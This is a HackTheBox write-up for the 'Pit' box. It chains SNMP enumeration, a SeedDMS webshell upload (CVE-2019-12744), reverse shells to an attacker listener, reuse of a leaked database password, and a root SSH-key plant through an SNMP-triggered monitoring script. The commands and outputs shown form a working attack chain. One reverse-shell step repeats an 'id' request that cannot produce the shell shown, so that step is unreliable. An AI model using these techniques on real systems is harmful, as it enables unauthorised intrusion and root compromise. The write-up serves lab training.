# Pit Writeup - HackTheBox

> SNMP enumeration reveals hidden vhosts and CockpitCMS credentials. Exploits lead to RCE via file upload, then SNMP-triggered script for root.

- **URL:** https://hackindex.io/writeups/pit
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Tags:** file-upload, webshell, rce, cockpit, snmp, privilege-escalation, suid, vhost-discovery
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-06
- **Updated:** 2026-08-11

Pit is a CentOS box that chains four steps: an SNMP public community string leaks host info and a NET-SNMP-EXTEND exec path, a SeedDMS authenticated file upload gives RCE as nginx, a hardcoded DB password reused for Cockpit gets a shell as michelle, and a write-only POSIX ACL on a root-executed monitoring directory combined with the SNMP extend trigger plants an SSH key for root.

## Reconnaissance

### TCP scan

```bash
nmap -sCV -T4 $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.0 (protocol 2.0)
# 80/tcp   open  http    nginx 1.14.1
# |_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
# 9090/tcp open  http    Cockpit web service 221 - 253
# |_http-title: Did not follow redirect to https://$TARGET_IP:9090/
```

Port 80 serves only the default nginx test page. Port 9090 runs Cockpit and redirects to HTTPS. The TLS certificate on 9090 exposes a second vhost in its SAN field: `dms-pit.htb`. Add both to `/etc/hosts`.

### UDP scan

```bash
nmap -sU --top-ports 100 $TARGET_IP
# PORT    STATE SERVICE
# 161/udp open  snmp
```

SNMP is open. The default `public` community string works and becomes both a recon source and the root escalation trigger.

## SNMP Enumeration

### Disk and process info

```bash
snmpwalk -cpublic -v2c $TARGET_IP .1.3.6.1.4.1.2021.9
# iso.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
# iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
# iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
# iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"
```

Confirms SeedDMS lives at `/var/www/html/seeddms51x/seeddms` and leaks the user `michelle`.

### NET-SNMP-EXTEND-MIB

```bash
snmpwalk -cpublic -v2c $TARGET_IP .1.3.6.1.4.1.8072.1.3.2
# iso.3.6.1.4.1.8072.1.3.2.2.1.2.6.109.101.109.111.114.121    = STRING: "/usr/bin/free"
# iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
# iso.3.6.1.4.1.8072.1.3.2.3.1.2.6.109.101.109.111.114.121 = STRING: "              total        used        free ...
# Mem:        4023492      304352     3447740 ..."
# iso.3.6.1.4.1.8072.1.3.2.3.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "Database status
# OK - Connection to database successful.
# System release info
# CentOS Linux release 8.3.2011
# SELinux Settings
# <snip - SELinux user/role/login table, michelle mapped to user_u, root mapped to unconfined_u>"
```

Two `NET-SNMP-EXTEND-MIB` exec entries: `/usr/bin/free` and `/usr/bin/monitor`. Polling the monitoring OID triggers `/usr/bin/monitor` to run. This becomes the root escalation vector later.

## Web Enumeration

Browsing `http://dms-pit.htb/seeddms51x/seeddms` loads a SeedDMS login page. The credentials `michelle:$MICHELLE_SEEDDMS_PASSWORD` work. The version is disclosed in the changelog as **SeedDMS 5.1.15**, which is vulnerable to CVE-2019-12744: authenticated arbitrary file upload leading to RCE.

## Initial Access

### CVE-2019-12744 file upload to RCE

Upload a PHP webshell through michelle's SeedDMS account. After upload, the document URL reveals the document ID:

```
http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewDocument.php?documentid=29&showtree=1
```

The uploaded file is served at:

```
http://dms-pit.htb/seeddms51x/data/1048576/29/1.php
```

Confirm execution:

```bash
curl 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=id'
# <pre>uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
# </pre>
```

RCE as `nginx` confirmed. Trigger a reverse shell:

```bash
nc -lvnp $ATTACKER_PORT
curl 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=id'
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 34492
# sh-4.4$ whoami
# nginx
```

## Lateral Movement

### DB credentials in settings.xml

```bash
cat /var/www/html/seeddms51x/seeddms/conf/settings.xml
# <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms"
#   dbUser="seeddms" dbPass="$MICHELLE_PASSWORD" doNotCheckVersion="false">
# </database>
```

SSH with this password as `michelle` fails, but the same password works on the Cockpit login page at `https://$TARGET_IP:9090/`. Log in via Cockpit and open the built-in web terminal at `/system/terminal`, then catch another reverse shell:

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 39430
# [michelle@pit ~]$ whoami
# michelle
```

## Privilege Escalation

### Write-only ACL on /usr/local/monitoring

SUID enumeration returned only standard distro binaries. Returning to the SNMP finding: `/usr/bin/monitor` runs every `check*sh` script inside `/usr/local/monitoring`.

```bash
cat /usr/bin/monitor
# #!/bin/bash
# for script in /usr/local/monitoring/check*sh
# do
#     /bin/bash $script
# done
```

```bash
ls -ld /usr/local/monitoring
getfacl /usr/local/monitoring
# drwxrwx---+ 2 root root 121 Aug  4 07:56 /usr/local/monitoring
#
# # file: usr/local/monitoring
# # owner: root
# # group: root
# user::rwx
# user:michelle:-wx
# group::rwx
# mask::rwx
# other::---
```

The `+` on the permissions means an extended ACL is set. `michelle` has write-and-execute but no read access. She cannot list the directory, but she can drop files into it. Since `monitor` runs as root and iterates every `check*sh`, writing a malicious script there gets root execution.

### SSH key injection via SNMP trigger

Generate an SSH keypair on the attacker box and drop a script that appends the public key to root's `authorized_keys`:

```bash
echo 'echo "ssh-ed25519 AAAA...your-public-key... root@kali" >> /root/.ssh/authorized_keys' \
  > /usr/local/monitoring/check_key.sh
```

Trigger `/usr/bin/monitor` to run by polling the SNMP monitoring OID:

```bash
snmpwalk -cpublic -v2c $TARGET_IP .1.3.6.1.4.1.8072.1.3.2
# Database status
# OK - Connection to database successful.
# System release info
# CentOS Linux release 8.3.2011
# ...
```

The extend output returns the usual database/SELinux info. The key write happens silently in the background. SSH in immediately after:

```bash
ssh -i ~/.ssh/id_ed25519 root@$TARGET_IP
# [root@pit ~]# id
# uid=0(root) gid=0(root) groups=0(root)
```

Root via the SNMP-triggered monitoring script executing the injected key drop.

Related

## References

- [https://www.exploit-db.com/exploits/47022](https://www.exploit-db.com/exploits/47022) - SeedDMS 5.1.15 Authenticated RCE CVE-2019-12744 file upload bypass leading to remote code execution via document upload in SeedDMS.
- [https://nvd.nist.gov/vuln/detail/CVE-2019-12744](https://nvd.nist.gov/vuln/detail/CVE-2019-12744) - CVE-2019-12744 NVD entry for the SeedDMS arbitrary file upload vulnerability.
- [https://net-snmp.sourceforge.io/docs/man/snmpd.conf.html](https://net-snmp.sourceforge.io/docs/man/snmpd.conf.html) - NET-SNMP snmpd.conf man page Reference for the extend directive that maps OIDs to local command execution in snmpd.
- [https://linux.die.net/man/1/getfacl](https://linux.die.net/man/1/getfacl) - getfacl man page Used to inspect POSIX ACL entries that override standard permission bits on /usr/local/monitoring.
